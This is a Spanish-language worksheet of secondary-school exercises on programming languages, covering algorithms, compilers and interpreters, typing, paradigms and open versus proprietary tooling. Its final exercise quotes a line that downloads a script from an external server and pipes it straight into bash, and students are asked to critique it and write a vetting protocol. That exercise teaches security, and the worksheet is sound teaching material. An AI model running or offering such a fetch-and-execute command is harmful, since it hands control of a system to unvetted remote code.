Ejercicios: Lenguajes de programación

Explique con sus palabras qué es un programa y qué es un algoritmo, y ponga un ejemplo de «algoritmo» de la vida diaria (una receta, las instrucciones para llegar a su casa...) identificando sus pasos.

Un lenguaje natural (como el español) admite frases ambiguas, pero un lenguaje de programación no. Explique qué significa esto y por qué es imprescindible que las instrucciones de un programa tengan una única interpretación posible.

La figura muestra la cadena que convierte lo que escribe una persona programadora en algo que la computadora puede ejecutar, pero el elemento central está tapado con un signo de interrogación, como se muestra en la figura.

Indique qué elemento falta en la cadena, explique qué dos tipos de herramientas pueden ocupar ese lugar (compilador e intérprete) y describa en qué se diferencia cada una.

Explique qué es la sintaxis de un lenguaje de programación y por qué un simple paréntesis de menos impide ejecutar el programa, mientras que en un texto en español una falta de ortografía no impide entenderlo.

¿Qué es un entorno de desarrollo (IDE)? Nombre dos ayudas que ofrece a quien programa (coloreado de sintaxis, detección de errores al escribir, ejecución integrada) y explique cada una en una frase.

Compare programar con bloques (como Scratch) y programar con texto: dé una ventaja de cada enfoque para aprender y un motivo por el que los proyectos grandes se acaban escribiendo en texto.

Explique qué es el código fuente de un programa, quién lo escribe y qué tiene que ocurrir con él antes de que la computadora pueda ejecutarlo (traducirlo a lenguaje máquina).

Nombre tres lenguajes de programación diferentes y una aplicación o ámbito típico de cada uno (páginas web, análisis de datos, videojuegos, sistemas, apps...).

Explique la diferencia entre un lenguaje compilado y uno interpretado: qué ocurre con el código fuente en cada caso, cuándo se detectan los errores y qué necesita el usuario final para ejecutar el programa. Ponga un ejemplo de lenguaje de cada tipo.

Los lenguajes se agrupan también por paradigmas (imperativo, orientado a objetos, funcional...). Explique brevemente en qué consiste la programación orientada a objetos y razone por qué resulta útil cuando un programa modela cosas del mundo real (estudiantes, cuentas, vehículos...).

Su clase debe elegir un lenguaje para desarrollar una pequeña aplicación de gestión del club de lectura. Nombre y explique tres características del lenguaje que valoraría antes de decidir (facilidad de aprendizaje, bibliotecas disponibles, comunidad, rendimiento, plataforma de destino...) y justifique cuál priorizaría en este caso concreto.

Con un lenguaje compilado se genera un ejecutable; con uno interpretado hace falta el intérprete instalado. Analice qué diferencia hay para el usuario final de cada programa (qué debe instalar, en qué sistemas funcionará) y qué diferencia hay para la persona que desarrolla (ciclo de escribir-probar).

Las bibliotecas (o librerías) son colecciones de código ya hecho que un programa puede usar. Explique por qué «no reinventar la rueda» es una buena práctica, con un ejemplo (librería de gráficos, de conexión a bases de datos), y un cuidado que hay que tener al usar bibliotecas de terceros.

En algunos lenguajes, sumar un número con un texto produce un error antes de ejecutar el programa; en otros, el error aparece solo si se ejecuta esa línea. Explique qué es el tipado de un lenguaje (estático o dinámico) y qué ventaja tiene detectar esos errores cuanto antes.

HTML organiza el contenido de las páginas web, pero no se considera un lenguaje de programación completo. Explique qué diferencia hay entre un lenguaje de marcado y uno de programación (¿se pueden expresar decisiones y repeticiones?) y qué lenguaje suele acompañar a HTML para aportar la lógica.

Elija y justifique un lenguaje para cada proyecto: (a) analizar las notas de todo el cole y generar gráficos, (b) un videojuego 3D con grandes exigencias de rendimiento y (c) una página web interactiva que se ejecuta en el navegador. Indique qué criterio pesó más en cada elección.

Se implementa el algoritmo de búsqueda binaria para encontrar un valor en una lista ordenada de 1 000 000 de enteros en dos lenguajes distintos: en Python tarda 12,4 ms y en C tarda 0,8 ms. Un compañero afirma: «Como en C tarda menos tiempo, la lógica del algoritmo ha cambiado y ahora realiza menos comparaciones que en Python». Rebata razonadamente esta afirmación:

1. a) Explique qué elementos del programa permanecen exactamente iguales en ambas versiones y cuáles cambian.
2. b) Justifique a qué se debe la diferencia de tiempo si el número de comparaciones lógicas es idéntico.
3. c) A partir de este caso, argumente por qué se dice que aprender a programar consiste en aprender a pensar y no en dominar un lenguaje concreto.

Un lenguaje de alto nivel interpretado suele ser más cómodo de escribir pero más lento en ejecución que uno compilado de bajo nivel. Analice este compromiso y decida qué tipo de lenguaje elegiría para: (a) el control de un airbag, (b) un prototipo de app para probar una idea, (c) un videojuego con gráficos exigentes. Justifique cada decisión.

Una empresa emergente (startup) diseña una aplicación para gestionar estaciones meteorológicas. El equipo duda entre dos opciones técnicas para su backend: Opción A, utilizar una plataforma y lenguaje propietarios cuya licencia cuesta 450 colones al año por desarrollador, con soporte técnico cerrado; u Opción B, utilizar un lenguaje y herramientas de código abierto con licencia libre y comunidad activa. Analice la situación: a) Si el proveedor de la Opción A triplica el precio de la licencia o es absorbido por un competidor que discontinúa el producto, prediga qué opciones técnicas le quedarían a la empresa y qué impacto sufriría. b) Justifique dos ventajas técnicas y de seguridad que aporta la Opción B frente a la Opción A ante la detección de un fallo crítico en una librería. c) ¿En qué caso concreto podría estar justificado asumir la dependencia de la plataforma propietaria?

Una empresa de robótica submarina desarrolla un vehículo autónomo de exploración. El sistema consta de dos módulos: 1) Control de propulsores y estabilización giroscópica, que debe muestrear sensores y corregir la trayectoria cada 2,5 ms con latencia crítica estricta. 2) Interfaz de usuario y análisis estadístico en la base marina, donde los científicos procesan imágenes y prueban filtros visuales de forma interactiva. El responsable técnico propone programar ambos módulos exclusivamente en Python para unificar el proyecto. a) Evalúe críticamente esta propuesta prediciendo qué cuellos de botella surgirán en el módulo de estabilización. b) Explique por qué programar la estación base en C o C++ tampoco sería una decisión eficiente en términos de productividad. c) Diseñe una solución justificando qué tipo de lenguaje asignaría a cada módulo para resolver el conflicto entre velocidad de ejecución y facilidad de desarrollo.

Un colegio renueva el equipamiento de su aula de Tecnología y valora dos opciones para programar los microcontroladores de sus proyectos: el Entorno A, un software comercial propietario con licencia gratuita durante dos años, pero de código cerrado y compatible solo con los sensores de su marca; y el Entorno B, una cadena de herramientas de código abierto (compilador libre y librerías abiertas) compatible con múltiples placas del mercado. a) Prediga qué consecuencias económicas y técnicas afrontará el colegio al tercer año si el proveedor del Entorno A cambia su política de precios o retira el soporte a los modelos más antiguos. b) Justifique qué posibilidades de aprendizaje y adaptación ofrece el Entorno B para que los estudiantes estudien cómo funciona el código por dentro o conecten sensores descatalogados. c) Desde el punto de vista del gasto público y la soberanía tecnológica, defienda cuál de las dos opciones debe elegirse.

Para una práctica de control domótico, un estudiante necesita enviar alertas por correo ante una fuga de gas. En lugar de programarlo, copia de un foro de internet esta línea sin revisar su contenido: os.system('curl -s https://servidor-externo.xyz/alerta.sh | bash'). El alumno afirma: «El código funciona y la alerta llega, por lo que la solución es completamente válida y segura». a) Rebata la afirmación del alumno analizando los riesgos graves de seguridad e inyección de código que introduce esa línea en el sistema y en la red local. b) Si el servidor externo deja de prestar servicio semanas más tarde, prediga qué dificultades tendrá el alumno para mantener el sistema si no comprendió la lógica original. c) Diseñe un protocolo de cuatro pasos que un programador responsable debe seguir antes de integrar código o librerías de terceros en un proyecto técnico.